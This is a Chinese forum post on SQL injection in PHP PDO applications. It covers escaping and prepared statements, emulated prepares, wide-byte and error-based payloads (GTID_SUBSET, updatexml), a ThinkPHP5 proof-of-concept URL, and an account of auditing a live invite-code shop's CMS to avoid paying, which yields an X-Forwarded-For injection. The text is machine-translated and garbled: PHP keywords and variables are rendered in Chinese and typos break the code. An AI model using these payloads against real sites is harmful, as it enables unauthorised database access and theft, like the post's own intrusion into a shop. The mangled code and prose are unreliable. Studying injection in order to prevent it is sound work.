电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2545 人浏览分享

从PDO下的注入思路到获得GIT 2000star项目0day

[复制链接]
2545 0
本帖最后由 zhaorong 于 2021-6-10 15:03 编辑

0x01 PDO简介

PDO全名PHP数据对象

PDO扩展为PHP访问数据库定义了一个轻量级的属性数据。PDO提供了一个抽象层这些
都可以使用的吸管数据库都可以使用相同的函数方法来和获取查询数据。
PHP连接MySQL的数据库有三种方式的MySQL的mysqli PDO列表性比较如下:

QQ截图20210610112145.png

护理在php中使用pdo扩展需要在php.ini文件中进行配置

qfpZXd5GKrhI9wN.png

0x02 PDO循环SQL注入

①调用方法转义特殊角色
引用()方法方法的原理跟加斜杠差不多都是转义
PDO的quate()类方法适合喜欢的字符串如果需要加上引号并在输入。字符串内转义特殊字符
EG①:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$conn = new PDO('sqlite:/home/lynn/music.sql3'); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">/* 危险的字符串 */ </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$string = 'Naughty 'string'; </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">打印“未加引号的字符串:$stringn”;</font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">打印 "带引号的字符串:" 。</font><font style="vertical-align: inherit;">$conn->quote($string) 。</font><font style="vertical-align: inherit;">"n"; </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">?></font></font>
复制代码

输出
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">未加</font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">引号的</font><font style="vertical-align: inherit;">字符串:Naughty ' string 加</font><font style="vertical-align: inherit;">引号的字符串:'Naughty '' string'</font></font>
复制代码

EG②
测试文件
  1. SET NAMES utf8mb4;
  2. SET FOREIGN_KEY_CHECKS = 0;
  3. -- ----------------------------
  4. -- Table structure for user
  5. -- ----------------------------
  6. DROP TABLE IF EXISTS `user`;
  7. CREATE TABLE `user`  (
  8.   `id` int(10) NOT NULL,
  9.   `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL,
  10.   `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL
  11. ) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;
  12. -- ----------------------------
  13. -- Records of user
  14. -- ----------------------------
  15. INSERT INTO `user` VALUES (0, 'admin', 'admin');
  16. INSERT INTO `user` VALUES (1, 'user', 'user');
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">设置 FOREIGN_KEY_CHECKS = 1;</font></font>
复制代码

文件
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">header('content-type=text/html;charset=utf-8'); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$用户名=$_GET['用户名']; </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$password=$_GET['密码']; </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">try{ </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">     $username=$pdo->quote($username); </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">     $password=$pdo->quote($password); </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $sql="select * from user where username={$username} and password={$password}"; </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    echo $sql."</br>"; </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $row=$pdo->query($sql); </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    foreach ($row as $key => $value) { </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        print_r($value); </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}catch(POOException $e){ </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    echo $e->getMessage(); </font></font>
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

访问http://localhost/pdo.php?username=admin&password=admin

9998.png

当我们使用单引号探测注入时

9997png.png

反,引用单已被反线转义

②预编译语句

1、占位符

通过引入参数注入通过程序引用参数防止注入的方法会加上在执行SQL语句时可能参数值当成一个整体来进行处理
即使参数值中所有游戏单引号也会把单引号当成单引号字符,而不是字符串的止符。就这样开始在删
除了SQL注入攻击的条件。

将原来的SQL查询语句改为
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Select * from where name=:username and password=:password</font></font>
复制代码

准备方法进行SQL语句预编译
最后通过调用rowCount()查看返回受sql语句影响方法的行数
返回0语句执行失败比等于1则表示语句执行成功。
所有代码
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">header('content-type:text/html;charset=utf-8'); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$用户名=$_GET['用户名']; </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$password=$_GET['密码']; </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">try{ </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $sql='select * from user where name=:username and password=:password'; </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt=$pdo->prepare($sql); </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->execute(array(":username"=>$username,":password"=>$password)); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    回声 $stmt->rowCount(); </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}catch(PDOException $e){ </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    echo $e->getMessage(); </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">?></font></font>
复制代码

成功查询

JED7sFeOK2BY5ja.png

注入失败

9996.png

2、占位符-通过问号占位符防止注入

SQL语句再进行修改
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">select * from user where name=? </font><font style="vertical-align: inherit;">和密码=?</font></font>
复制代码

同上准备方法进行SQL语句预编译
最后调用rowCount()方法查看返回受sql语句影响的行数
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><? </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">header('content-type:text/html;charset=utf-8'); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$用户名=$_GET['用户名']; </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$password=$_GET['密码']; </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">try{ </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $sql="select * from user where username=? and password=?"; </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt=$pdo->prepare($sql); </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->execute(array($username,$password)); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    回声 $stmt->rowCount(); </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}catch(PDOException $e){ </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    echo $e->getMessage(); </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">?></font></font>
复制代码

效果同上
成功查询

9995.png

注入失败

9992.png

3.通过bindParam()方法绑定参数防御SQL注入

修改语句部分
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$sql='select * from user where name=:username and password=:password'; </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt=$pdo->prepare($sql); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->bindParam(":username",$username,PDO::PARAM_STR); </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->bindParam(":password",$password,PDO::PARAM_STR);</font></font>
复制代码

解释:
a)::username 和 :password
变量为命名参数b):$username;$password 为获取的变量即用户名和密码。
c):PDO::PARAM_STR 表示的值一定要为字符串形式绑定参数类型为字符串
。bindparam()方法在默认绑定的参数类型就是字符串。

当你要int类型数据的时候可以绑定参数为PDO::PARAM_INT。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">header('content-type:text/html;charset=utf-8'); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$用户名=$_GET['用户名']; </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$password=$_GETT['密码']; </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">try{ </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $sql='select * from user where name=:username and password=:password'; </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt=$pdo->prepare($sql); </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->bindParam(":username",$username,PDO::PARAM_STR); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->bindParam(":password",$password,PDO::PARAM_STR); </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->execute(); </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    回声 $stmt->rowCount(); </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}catch(PDOException $e){ </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    echo $e->getMessage(); </font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">?></font></font>
复制代码

效果同上
成功查询

9991.png

注入失败

9990.png

只是总结了一点点PDO 外围需要SQL 注入自己的方法 是否还有见
其他很多 大家都在研究

0x03 PDO 下的注入与思考阅读

前文后读者们可能不会感叹真狠啊 什么都tmd转义什么语句都预表了
这tmd注入编译一个毛...

k3VIpq2GndYDKhg.png

999.jpg

北宋宰王相安石有言“相最奇奇”成如易却艰辛”
我们抽丝剥茧来探探DO下的注入让
现在在PDO下通用比较的主要方法有以下几种

①宽字节

注入的原则不讲了相信大家都知道
一张图 翻明了

998.png

当Mysql数据库my.ini文件中设置编码为gbk时
我们的PHP程序使用了addslashes() PDO::e mysql_real_escape_string() mysql_escape_string()
等函数方法或配置了magic_quotes_gpc=on 仍然可以通过构造%df的方法绕过转

②欢乐注入与模拟注入

PDO模拟非模拟和模拟。

模拟改造是预防部分数据库不支持而恢复的恢复注入的元凶
初始化PDO 驱动时间可以设置参数PDO::ATTR_EMULATE_PRRES 作用是模拟启动真正的或者关闭(假默认为真。
PDO内部会模拟参数绑定的过程SQL语句是在最后的execute()的时候才发送给数据库执行。
非模拟条件则是通过数据库服务器来进行动作主要分为两步:
是初步准备阶段发送SQL语句模板到服务器数据库;
第二步通过执行()函数发送占位符参数给数据库服务器执行。

PDO产生安全问题的主要设置如下:
PDO::ATTR_EMULATE_PREPARES //模拟假设默认开启
PDO::ATTR_ERRMODE //报错
PDO::MYSQL_ATTR_MULTI_STATEMENTS //允许句多执行默认开启

PDO默认是允许多句语句和模拟预置的在可控的情况下会导致目标增加。

2.1 没有过滤用户的南方注入情况
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">header('content-type=text/html;charset=utf-8'); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$用户名=$_GET['用户名']; </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$password=$_GET['密码']; </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">try{ </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $sql="select * from user where username='{$username}' and password='{$password}'"; </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    echo $sql."</br>"; </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $row=$pdo->query($sql); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    foreach ($row as $key => $value) { </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        print_r($value); </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}catch(POOException $e){ </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    echo $e->getMessage(); </font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

因为在$pdo>query()执行之前我们便可以对$sql窃听操作 那PDO相当于没用

997.png

996.png

如果想禁止多语句执行可在创建 PDO 实例时将 PDO::MYSQL_ATTR_MULTI_STATEMENTS 设置为 false
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">新 PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))</font></font>
复制代码

但是同时禁止了执行也只是一个不可能的多个并发

993.png

2.2 模拟最终的情况
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">try { </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    //$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $用户名 = $_GET['用户名']; </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $sql = "select id,".$_GET['role']." from user where username = ?"; </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt = $pdo->prepare($sql); </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->bindParam(1,$username); </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->execute(); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    while($row=$stmt->fetch(PDO::FETCH_ASSOC)) </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    { </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        var_dump($row); </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        回声“<br>”;</font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} catch (PDOException $e) { </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    echo $e; </font></font>
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

$role是可控的导致可实现目标和在线查询

992.png

991.png

2.3当设置PDO::ATTR_ERRMODE和PDO::ERRMODE_EXCEPTION开启报错时

设置方法
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);</font></font>
复制代码

是否开启PDO::ATTR_EMULATE_PREPARES-模拟启动此时
SQL语句如果产生报错PDO声明将报错
设置除错误码之外PDO错误提示一个PDO异常并设置它的属性来反射错误和码信息。
设置在调试过程中非常详细,因为它会有效地放大此脚本中产生错误的点,
从而可以非常快速地将代码抛出问题也可能
在情况下可以实现基于错误的 SQL 注入
使用 GTID_SUBSET 函数进行注入注入
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">http://192.168.1.3/pdo.php?role=id OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURREN </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">T_USER() AS NCHAR),0x20)),1,190))),6700)&username=admin&username =管理员</font></font>
复制代码

990.png

2.4 非模拟的情况
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">try { </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $用户名 = $_GET['用户名']; </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $sql = "select id,".$_GET['role']." from user where username = ?"; </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt = $pdo->prepare($sql); </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->bindParam(1,$username); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $stmt->execute(); </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    while($row=$stmt->fetch(PDO::FETCH_ASSOC)) </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    { </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        var_dump($row); </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        回声“<br>”;</font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} catch (PDOException $e) { </font></font>
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    echo $e; </font></font>
  18. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

这个时候注入已经歇了

889.png

但内联查询 报错注入依然坚挺可用

888.png

③一个安全案例

语句内存在有用户非纯文字可以部分便餐安全;我们就用非模拟的sql写法
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); </font></font>
复制代码

它会告诉 PDO 模拟模拟语句并使用真实的模拟语句。
这可以确保 SQL 语句和相应的值在传递到 mysql 服务器之前不会 PHP 解析的
阻止了所有可能的恶意是 SQL 注入攻击。
以下为一个安全使用PDO的案例
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$pdo = new PDO('mysql:dbname=testdatabase;host=localhost;charset=utf8', 'root', 'root'); </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$stmt = $pdo->prepare('SELECT * FROM wz_admin WHERE id = :id'); </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$stmt->execute(array('id' => $id)); </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">print_r($stmt -> fetchAll()); </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">出口();</font></font>
复制代码
当调用prepare()时查询语句已经发送给了数据库服务器当时只有占位符  
过去没有用户提交的;当调用到execute()时,用户输入的发送的值会发送给数据库是单独
发送的数据独立的SQL注入攻击者没有一点机会

0x04案例剖析-ThinkPHP5中PDO导致的一个鸡肋注入来自Phithon师傅

我们来看看Phithon师傅几年前的博客发的一个案例

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php</font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">命名空间 app\index\controller; </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">使用 app\index\model\User; </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">class Index </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">{ </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    public function index() </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    { </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        $ids = input('ids/a'); </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        $t = 新用户(); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        $result = $t->where('id', 'in', $ids)->select(); </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

如上述代码如果我们控制了语句的价值位置通过一个集合来造成SQL注入漏洞。
文中之前我还没有多说但说一下这是一个SQL注入漏洞。IN操作代码:
  1. <?php
  2. ...
  3. $bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
  4. if (preg_match('/\W/', $bindName)) {
  5.     // 处理带非单词字符的字段名
  6.     $bindName = md5($bindName);
  7. }
  8. ...
  9. } elseif (in_array($exp, ['NOT IN', 'IN'])) {
  10.     // IN 查询
  11.     if ($value instanceof \Closure) {
  12.         $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
  13.     } else {
  14.         $value = is_array($value) ? $value : explode(',', $value);
  15.         if (array_key_exists($field, $binds)) {
  16.             $bind  = [];
  17.             $array = [];
  18.             foreach ($value as $k => $v) {
  19.                 if ($this->query->isBind($bindName . '_in_' . $k)) {
  20.                     $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
  21.                 } else {
  22.                     $bindKey = $bindName . '_in_' . $k;
  23.                 }
  24.                 $bind[$bindKey] = [$v, $bindType];
  25.                 $array[]        = ':' . $bindKey;
  26.             }
  27.             $this->query->bind($bind);
  28.             $zone = implode(',', $array);
  29.         } else {
  30.             $zone = implode(',', $this->parseValue($value, $field));
  31.         }
  32.         $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
  33.     }
复制代码

看到$bindName在前边进行了一次检测,正常来说是不会出现漏洞的。但如果$value是一个
数组的情况下这里会遍历$value就可以$k不进了$bindName。
我们控制了预编译的 SQL 语句中的键名 英文是说我们控制了预编译的 SQL 语句这就是一个 SQL
注入漏洞。那么为什么译文中说测试 SQL 注入失败呢?

这就是涉及到预编译的执行过程了。编译执行过程分三步:
1,prepare($SQL) 编译SQL语句
2,bindValue($param, $value) 将值绑定到参数的位置
3,execute() 执行
这个存在实际上就是控制了第二步的$param变量变量如果是一个SQL语句的话
就会在第二步的时候抛出错误的:

929.png

所以错误的似乎导致整个过程不到第三步这个就无法注入了。
但实际上在最后的时候就是有预想利用。我们可以做一个实验。写代码如下:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$params = [ </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    PDO::ATTR_EMULATE_PREPARES => false, </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">]; </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">try { </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">updatexml(0,concat(0xa,user()),0))'); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} catch (\PDOException $e) { </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    var_dump($e); </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

执行发现我只调用了准备函数但原SQL语句中的报错已经成功执行:

887.png

究其原因是因为我这里设置了 PDO::ATTR_EMULATE_PREPARES => false。
这个选项涉及到 PDO 的原理机制:因为不是所有的数据库驱动都支持 SQL 预编译所以 PDO 存在模拟机制如果说开启
模拟启动那么 PDO 内部会模拟参数绑定的过程SQL语句是在最后执行()时候的才发送给数据库执行如果我在这里设
置了PDO :: ATTR_EMULATE_PREPARES =>假那么PDO不会模拟参数化绑定的整个过程和Mysql的交互进行的。

非模拟最终分阶段的情况下参数化过程两步:初始阶段是准备阶段发送占位的sql语句到mysql服务器解析->解析
第二步符是多次发送占位符参数给mysql服务器进行执行多次执行优化->。
到prepare($SQL)当我的SQL语句开始执行的时候我的SQL语句就出现了错误然后就可以直接被mysql
出现异常了就不会再执行第二次次了。我们来看看 ThinkPHP5 的默认配置:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">... </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">// PDO 连接参数</font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">保护 $params = [ </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    PDO::ATTR_CASE => PDO::CASE_NATURAL, </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    PDO::ATTR_STRINGIFY_FETCHES => 假,</font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    PDO::ATTR_EMULATE_PREPARES => 假,</font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">]; </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">...</font></font>
复制代码

可见这里确实设置了PDO::ATTR_EMULATE_PREPARES => false。 所以终上所述
我构造POC 用错误注入用户获取用户信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0, concat(0xa,user()),0)]=1231

886.png

但是如果你将 user() 改成一个子语句,结果又会爆出无效的参数号:参数没有定义的错误。
因为没有梵想研究说一下我的检测过程:预想是mysql服务端的,但预想的不是数据接触的不会从表中将真实数据取
出来所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似用户()的这样数据库函数的值还
的英文会生成SQL

0x05 实战案例-从cl社区激活到爆炸2000+星项目0day

5.1起因

挖SRC做项目做的心生烦闷前几日在线在家看1024(cl)社区越看越来劲邪火攻心想搜片看
奈何社区一向奉行诱惑引诱码又恶到可谓相当不爽
于是我去google上找一个卖1024社区邀请码的站

885.png

88块钱虽然算不上贵,但这种东西本来就是怎么不受法律保护的。一个JB小子可能不动点白嫖心思?
在黑盒测试了这之后发现的现实逻辑和家人都没有安全问题..我真的要花钱买激活码?
不可能绝对不可能。
看到网站底部有一个技术XXX好家伙呵呵猜不出这应
该就是这个站网站用的CMS系统了

884.png

去Git上一搜有2000多颗星星维护了好几年也可以把一个成熟的项目了。直接
最新版源码下载下来丢进PHP风暴里开始审计

5.2从审计思路到PDO导致的家人XFF注入注入

就我个人认为有自己的来源 我更喜欢黑白盒相结合;家人可以自己访问的功能点来确定的目标
简单看一个普通系统是MVC架构的使用了PDO使用有部分过滤规则;后台默认路径是/admin
去外旅游的功能点发现在订单处路径名很开心有一个/直接搜一下页面上的关键词 进入到源码中

883.png

发现如下一段代码

882.png

PDO流行默认配置 立马考虑了澳大利亚的配置检测
命令用户可以找到其他方法 后被为纯字符串
没有注入补地 原因选择另一种处理方法
后发现IP参数用户可以在调用方法前没做任何处理。
ip参数调用是getClientIP方法我们跟一下getClientIP方法

881.png

理解就是从常见的http header中获取客户端IP

